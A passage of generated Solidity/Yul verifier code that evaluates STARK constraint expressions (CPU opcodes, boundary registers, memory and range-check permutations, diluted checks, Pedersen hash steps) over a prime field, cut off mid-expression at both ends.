/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
PRIME),
sub(PRIME, 4),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[25].
res := addmod(res,
mulmod(val, /*coefficients[25]*/ mload(0x860), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/assert_eq/assert_eq: cpu__decode__opcode_rc__bit_14 * (column3_row9 - column6_row12).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_14*/ mload(0x2e20),
addmod(/*column3_row9*/ mload(0x1d00), sub(PRIME, /*column6_row12*/ mload(0x2640)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[26].
res := addmod(res,
mulmod(val, /*coefficients[26]*/ mload(0x880), PRIME),
PRIME)
}
{
// Constraint expression for initial_ap: column6_row0 - initial_ap.
let val := addmod(/*column6_row0*/ mload(0x2520), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[27].
res := addmod(res,
mulmod(val, /*coefficients[27]*/ mload(0x8a0), PRIME),
PRIME)
}
{
// Constraint expression for initial_fp: column6_row8 - initial_ap.
let val := addmod(/*column6_row8*/ mload(0x25e0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[28].
res := addmod(res,
mulmod(val, /*coefficients[28]*/ mload(0x8c0), PRIME),
PRIME)
}
{
// Constraint expression for initial_pc: column3_row0 - initial_pc.
let val := addmod(/*column3_row0*/ mload(0x1c20), sub(PRIME, /*initial_pc*/ mload(0x100)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[29].
res := addmod(res,
mulmod(val, /*coefficients[29]*/ mload(0x8e0), PRIME),
PRIME)
}
{
// Constraint expression for final_ap: column6_row0 - final_ap.
let val := addmod(/*column6_row0*/ mload(0x2520), sub(PRIME, /*final_ap*/ mload(0x120)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[30].
res := addmod(res,
mulmod(val, /*coefficients[30]*/ mload(0x900), PRIME),
PRIME)
}
{
// Constraint expression for final_fp: column6_row8 - initial_ap.
let val := addmod(/*column6_row8*/ mload(0x25e0), sub(PRIME, /*initial_ap*/ mload(0xe0)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[31].
res := addmod(res,
mulmod(val, /*coefficients[31]*/ mload(0x920), PRIME),
PRIME)
}
{
// Constraint expression for final_pc: column3_row0 - final_pc.
let val := addmod(/*column3_row0*/ mload(0x1c20), sub(PRIME, /*final_pc*/ mload(0x140)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= denominator_invs[4].
val := mulmod(val, mload(0x3620), PRIME)
// res += val * coefficients[32].
res := addmod(res,
mulmod(val, /*coefficients[32]*/ mload(0x940), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/init0: (memory/multi_column_perm/perm/interaction_elm - (column4_row0 + memory/multi_column_perm/hash_interaction_elm0 * column4_row1)) * column9_inter1_row0 + column3_row0 + memory/multi_column_perm/hash_interaction_elm0 * column3_row1 - memory/multi_column_perm/perm/interaction_elm.
let val := addmod(
addmod(
addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column4_row0*/ mload(0x2080),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column4_row1*/ mload(0x20a0),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row0*/ mload(0x2b40),
PRIME),
/*column3_row0*/ mload(0x1c20),
PRIME),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column3_row1*/ mload(0x1c40),
PRIME),
PRIME),
sub(PRIME, /*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[33].
res := addmod(res,
mulmod(val, /*coefficients[33]*/ mload(0x960), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/step0: (memory/multi_column_perm/perm/interaction_elm - (column4_row2 + memory/multi_column_perm/hash_interaction_elm0 * column4_row3)) * column9_inter1_row2 - (memory/multi_column_perm/perm/interaction_elm - (column3_row2 + memory/multi_column_perm/hash_interaction_elm0 * column3_row3)) * column9_inter1_row0.
let val := addmod(
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column4_row2*/ mload(0x20c0),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column4_row3*/ mload(0x20e0),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row2*/ mload(0x2b80),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*memory/multi_column_perm/perm/interaction_elm*/ mload(0x160),
sub(
PRIME,
addmod(
/*column3_row2*/ mload(0x1c60),
mulmod(
/*memory/multi_column_perm/hash_interaction_elm0*/ mload(0x180),
/*column3_row3*/ mload(0x1c80),
PRIME),
PRIME)),
PRIME),
/*column9_inter1_row0*/ mload(0x2b40),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[34].
res := addmod(res,
mulmod(val, /*coefficients[34]*/ mload(0x980), PRIME),
PRIME)
}
{
// Constraint expression for memory/multi_column_perm/perm/last: column9_inter1_row0 - memory/multi_column_perm/perm/public_memory_prod.
let val := addmod(
/*column9_inter1_row0*/ mload(0x2b40),
sub(PRIME, /*memory/multi_column_perm/perm/public_memory_prod*/ mload(0x1a0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= denominator_invs[6].
val := mulmod(val, mload(0x3660), PRIME)
// res += val * coefficients[35].
res := addmod(res,
mulmod(val, /*coefficients[35]*/ mload(0x9a0), PRIME),
PRIME)
}
{
// Constraint expression for memory/diff_is_bit: memory__address_diff_0 * memory__address_diff_0 - memory__address_diff_0.
let val := addmod(
mulmod(
/*intermediate_value/memory/address_diff_0*/ mload(0x2e40),
/*intermediate_value/memory/address_diff_0*/ mload(0x2e40),
PRIME),
sub(PRIME, /*intermediate_value/memory/address_diff_0*/ mload(0x2e40)),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[36].
res := addmod(res,
mulmod(val, /*coefficients[36]*/ mload(0x9c0), PRIME),
PRIME)
}
{
// Constraint expression for memory/is_func: (memory__address_diff_0 - 1) * (column4_row1 - column4_row3).
let val := mulmod(
addmod(/*intermediate_value/memory/address_diff_0*/ mload(0x2e40), sub(PRIME, 1), PRIME),
addmod(/*column4_row1*/ mload(0x20a0), sub(PRIME, /*column4_row3*/ mload(0x20e0)), PRIME),
PRIME)
// Numerator: point - trace_generator^(2 * (trace_length / 2 - 1)).
// val *= numerators[2].
val := mulmod(val, mload(0x3c20), PRIME)
// Denominator: point^(trace_length / 2) - 1.
// val *= denominator_invs[5].
val := mulmod(val, mload(0x3640), PRIME)
// res += val * coefficients[37].
res := addmod(res,
mulmod(val, /*coefficients[37]*/ mload(0x9e0), PRIME),
PRIME)
}
{
// Constraint expression for memory/initial_addr: column4_row0 - 1.
let val := addmod(/*column4_row0*/ mload(0x2080), sub(PRIME, 1), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[38].
res := addmod(res,
mulmod(val, /*coefficients[38]*/ mload(0xa00), PRIME),
PRIME)
}
{
// Constraint expression for public_memory_addr_zero: column3_row2.
let val := /*column3_row2*/ mload(0x1c60)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[39].
res := addmod(res,
mulmod(val, /*coefficients[39]*/ mload(0xa20), PRIME),
PRIME)
}
{
// Constraint expression for public_memory_value_zero: column3_row3.
let val := /*column3_row3*/ mload(0x1c80)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[40].
res := addmod(res,
mulmod(val, /*coefficients[40]*/ mload(0xa40), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/init0: (rc16/perm/interaction_elm - column5_row2) * column9_inter1_row1 + column5_row0 - rc16/perm/interaction_elm.
let val := addmod(
addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row2*/ mload(0x2140)),
PRIME),
/*column9_inter1_row1*/ mload(0x2b60),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME),
sub(PRIME, /*rc16/perm/interaction_elm*/ mload(0x1c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[41].
res := addmod(res,
mulmod(val, /*coefficients[41]*/ mload(0xa60), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/step0: (rc16/perm/interaction_elm - column5_row6) * column9_inter1_row5 - (rc16/perm/interaction_elm - column5_row4) * column9_inter1_row1.
let val := addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row6*/ mload(0x21c0)),
PRIME),
/*column9_inter1_row5*/ mload(0x2ba0),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column5_row4*/ mload(0x2180)),
PRIME),
/*column9_inter1_row1*/ mload(0x2b60),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x3c40), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x3680), PRIME)
// res += val * coefficients[42].
res := addmod(res,
mulmod(val, /*coefficients[42]*/ mload(0xa80), PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/last: column9_inter1_row1 - rc16/perm/public_memory_prod.
let val := addmod(
/*column9_inter1_row1*/ mload(0x2b60),
sub(PRIME, /*rc16/perm/public_memory_prod*/ mload(0x1e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[8].
val := mulmod(val, mload(0x36a0), PRIME)
// res += val * coefficients[43].
res := addmod(res,
mulmod(val, /*coefficients[43]*/ mload(0xaa0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/diff_is_bit: rc16__diff_0 * rc16__diff_0 - rc16__diff_0.
let val := addmod(
mulmod(
/*intermediate_value/rc16/diff_0*/ mload(0x2e60),
/*intermediate_value/rc16/diff_0*/ mload(0x2e60),
PRIME),
sub(PRIME, /*intermediate_value/rc16/diff_0*/ mload(0x2e60)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x3c40), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x3680), PRIME)
// res += val * coefficients[44].
res := addmod(res,
mulmod(val, /*coefficients[44]*/ mload(0xac0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/minimum: column5_row2 - rc_min.
let val := addmod(/*column5_row2*/ mload(0x2140), sub(PRIME, /*rc_min*/ mload(0x200)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[45].
res := addmod(res,
mulmod(val, /*coefficients[45]*/ mload(0xae0), PRIME),
PRIME)
}
{
// Constraint expression for rc16/maximum: column5_row2 - rc_max.
let val := addmod(/*column5_row2*/ mload(0x2140), sub(PRIME, /*rc_max*/ mload(0x220)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[8].
val := mulmod(val, mload(0x36a0), PRIME)
// res += val * coefficients[46].
res := addmod(res,
mulmod(val, /*coefficients[46]*/ mload(0xb00), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/init0: (diluted_check/permutation/interaction_elm - column2_row0) * column8_inter1_row0 + column1_row0 - diluted_check/permutation/interaction_elm.
let val := addmod(
addmod(
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column2_row0*/ mload(0x1be0)),
PRIME),
/*column8_inter1_row0*/ mload(0x2b00),
PRIME),
/*column1_row0*/ mload(0x1800),
PRIME),
sub(PRIME, /*diluted_check/permutation/interaction_elm*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[47].
res := addmod(res,
mulmod(val, /*coefficients[47]*/ mload(0xb20), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/step0: (diluted_check/permutation/interaction_elm - column2_row1) * column8_inter1_row1 - (diluted_check/permutation/interaction_elm - column1_row1) * column8_inter1_row0.
let val := addmod(
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column2_row1*/ mload(0x1c00)),
PRIME),
/*column8_inter1_row1*/ mload(0x2b20),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*diluted_check/permutation/interaction_elm*/ mload(0x240),
sub(PRIME, /*column1_row1*/ mload(0x1820)),
PRIME),
/*column8_inter1_row0*/ mload(0x2b00),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(trace_length - 1).
// val *= numerators[4].
val := mulmod(val, mload(0x3c60), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[48].
res := addmod(res,
mulmod(val, /*coefficients[48]*/ mload(0xb40), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/permutation/last: column8_inter1_row0 - diluted_check/permutation/public_memory_prod.
let val := addmod(
/*column8_inter1_row0*/ mload(0x2b00),
sub(PRIME, /*diluted_check/permutation/public_memory_prod*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(trace_length - 1).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x36c0), PRIME)
// res += val * coefficients[49].
res := addmod(res,
mulmod(val, /*coefficients[49]*/ mload(0xb60), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/init: column7_inter1_row0 - 1.
let val := addmod(/*column7_inter1_row0*/ mload(0x2ac0), sub(PRIME, 1), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[50].
res := addmod(res,
mulmod(val, /*coefficients[50]*/ mload(0xb80), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/first_element: column2_row0 - diluted_check/first_elm.
let val := addmod(
/*column2_row0*/ mload(0x1be0),
sub(PRIME, /*diluted_check/first_elm*/ mload(0x280)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x3600), PRIME)
// res += val * coefficients[51].
res := addmod(res,
mulmod(val, /*coefficients[51]*/ mload(0xba0), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/step: column7_inter1_row1 - (column7_inter1_row0 * (1 + diluted_check/interaction_z * (column2_row1 - column2_row0)) + diluted_check/interaction_alpha * (column2_row1 - column2_row0) * (column2_row1 - column2_row0)).
let val := addmod(
/*column7_inter1_row1*/ mload(0x2ae0),
sub(
PRIME,
addmod(
mulmod(
/*column7_inter1_row0*/ mload(0x2ac0),
addmod(
1,
mulmod(
/*diluted_check/interaction_z*/ mload(0x2a0),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
PRIME),
PRIME),
mulmod(
mulmod(
/*diluted_check/interaction_alpha*/ mload(0x2c0),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
addmod(/*column2_row1*/ mload(0x1c00), sub(PRIME, /*column2_row0*/ mload(0x1be0)), PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(trace_length - 1).
// val *= numerators[4].
val := mulmod(val, mload(0x3c60), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[52].
res := addmod(res,
mulmod(val, /*coefficients[52]*/ mload(0xbc0), PRIME),
PRIME)
}
{
// Constraint expression for diluted_check/last: column7_inter1_row0 - diluted_check/final_cum_val.
let val := addmod(
/*column7_inter1_row0*/ mload(0x2ac0),
sub(PRIME, /*diluted_check/final_cum_val*/ mload(0x2e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(trace_length - 1).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x36c0), PRIME)
// res += val * coefficients[53].
res := addmod(res,
mulmod(val, /*coefficients[53]*/ mload(0xbe0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero: column6_row45 * (column5_row7 - (column5_row15 + column5_row15)).
let val := mulmod(
/*column6_row45*/ mload(0x2800),
addmod(
/*column5_row7*/ mload(0x21e0),
sub(
PRIME,
addmod(/*column5_row15*/ mload(0x2280), /*column5_row15*/ mload(0x2280), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[54].
res := addmod(res,
mulmod(val, /*coefficients[54]*/ mload(0xc00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0: column6_row45 * (column5_row15 - 3138550867693340381917894711603833208051177722232017256448 * column5_row1543).
let val := mulmod(
/*column6_row45*/ mload(0x2800),
addmod(
/*column5_row15*/ mload(0x2280),
sub(
PRIME,
mulmod(
3138550867693340381917894711603833208051177722232017256448,
/*column5_row1543*/ mload(0x2380),
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[55].
res := addmod(res,
mulmod(val, /*coefficients[55]*/ mload(0xc20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192: column6_row45 - column5_row2043 * (column5_row1543 - (column5_row1551 + column5_row1551)).
let val := addmod(
/*column6_row45*/ mload(0x2800),
sub(
PRIME,
mulmod(
/*column5_row2043*/ mload(0x2460),
addmod(
/*column5_row1543*/ mload(0x2380),
sub(
PRIME,
addmod(/*column5_row1551*/ mload(0x23a0), /*column5_row1551*/ mload(0x23a0), PRIME)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[56].
res := addmod(res,
mulmod(val, /*coefficients[56]*/ mload(0xc40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column5_row2043 * (column5_row1551 - 8 * column5_row1575).
let val := mulmod(
/*column5_row2043*/ mload(0x2460),
addmod(
/*column5_row1551*/ mload(0x23a0),
sub(PRIME, mulmod(8, /*column5_row1575*/ mload(0x23c0), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[57].
res := addmod(res,
mulmod(val, /*coefficients[57]*/ mload(0xc60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196: column5_row2043 - (column5_row2015 - (column5_row2023 + column5_row2023)) * (column5_row1575 - (column5_row1583 + column5_row1583)).
let val := addmod(
/*column5_row2043*/ mload(0x2460),
sub(
PRIME,
mulmod(
addmod(
/*column5_row2015*/ mload(0x2400),
sub(
PRIME,
addmod(/*column5_row2023*/ mload(0x2420), /*column5_row2023*/ mload(0x2420), PRIME)),
PRIME),
addmod(
/*column5_row1575*/ mload(0x23c0),
sub(
PRIME,
addmod(/*column5_row1583*/ mload(0x23e0), /*column5_row1583*/ mload(0x23e0), PRIME)),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[58].
res := addmod(res,
mulmod(val, /*coefficients[58]*/ mload(0xc80), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column5_row2015 - (column5_row2023 + column5_row2023)) * (column5_row1583 - 18014398509481984 * column5_row2015).
let val := mulmod(
addmod(
/*column5_row2015*/ mload(0x2400),
sub(
PRIME,
addmod(/*column5_row2023*/ mload(0x2420), /*column5_row2023*/ mload(0x2420), PRIME)),
PRIME),
addmod(
/*column5_row1583*/ mload(0x23e0),
sub(PRIME, mulmod(18014398509481984, /*column5_row2015*/ mload(0x2400), PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - 1.
// val *= denominator_invs[10].
val := mulmod(val, mload(0x36e0), PRIME)
// res += val * coefficients[59].
res := addmod(res,
mulmod(val, /*coefficients[59]*/ mload(0xca0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/booleanity_test: pedersen__hash0__ec_subset_sum__bit_0 * (pedersen__hash0__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[60].
res := addmod(res,
mulmod(val, /*coefficients[60]*/ mload(0xcc0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_extraction_end: column5_row7.
let val := /*column5_row7*/ mload(0x21e0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[12].
val := mulmod(val, mload(0x3720), PRIME)
// res += val * coefficients[61].
res := addmod(res,
mulmod(val, /*coefficients[61]*/ mload(0xce0), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/zeros_tail: column5_row7.
let val := /*column5_row7*/ mload(0x21e0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[13].
val := mulmod(val, mload(0x3740), PRIME)
// res += val * coefficients[62].
res := addmod(res,
mulmod(val, /*coefficients[62]*/ mload(0xd00), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/slope: pedersen__hash0__ec_subset_sum__bit_0 * (column5_row5 - pedersen__points__y) - column5_row3 * (column5_row1 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
/*column5_row5*/ mload(0x21a0),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column5_row3*/ mload(0x2160),
addmod(
/*column5_row1*/ mload(0x2120),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[63].
res := addmod(res,
mulmod(val, /*coefficients[63]*/ mload(0xd20), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/x: column5_row3 * column5_row3 - pedersen__hash0__ec_subset_sum__bit_0 * (column5_row1 + pedersen__points__x + column5_row9).
let val := addmod(
mulmod(/*column5_row3*/ mload(0x2160), /*column5_row3*/ mload(0x2160), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(
addmod(
/*column5_row1*/ mload(0x2120),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column5_row9*/ mload(0x2220),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[64].
res := addmod(res,
mulmod(val, /*coefficients[64]*/ mload(0xd40), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/y: pedersen__hash0__ec_subset_sum__bit_0 * (column5_row5 + column5_row13) - column5_row3 * (column5_row1 - column5_row9).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80),
addmod(/*column5_row5*/ mload(0x21a0), /*column5_row13*/ mload(0x2260), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column5_row3*/ mload(0x2160),
addmod(/*column5_row1*/ mload(0x2120), sub(PRIME, /*column5_row9*/ mload(0x2220)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 2048) - trace_generator^(255 * trace_length / 256).
// val *= numerators[5].
val := mulmod(val, mload(0x3c80), PRIME)
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[11].
val := mulmod(val, mload(0x3700), PRIME)
// res += val * coefficients[65].
res := addmod(res,
mulmod(val, /*coefficients[65]*/ mload(0xd60), PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/x: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column5_row9 - column5_row1).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x2ea0),
addmod(/*column5_row9*/ mload(0x2220), sub(PRIME, /*column5_row1*/ mload(0x2120)), PRIME),
PRIME)
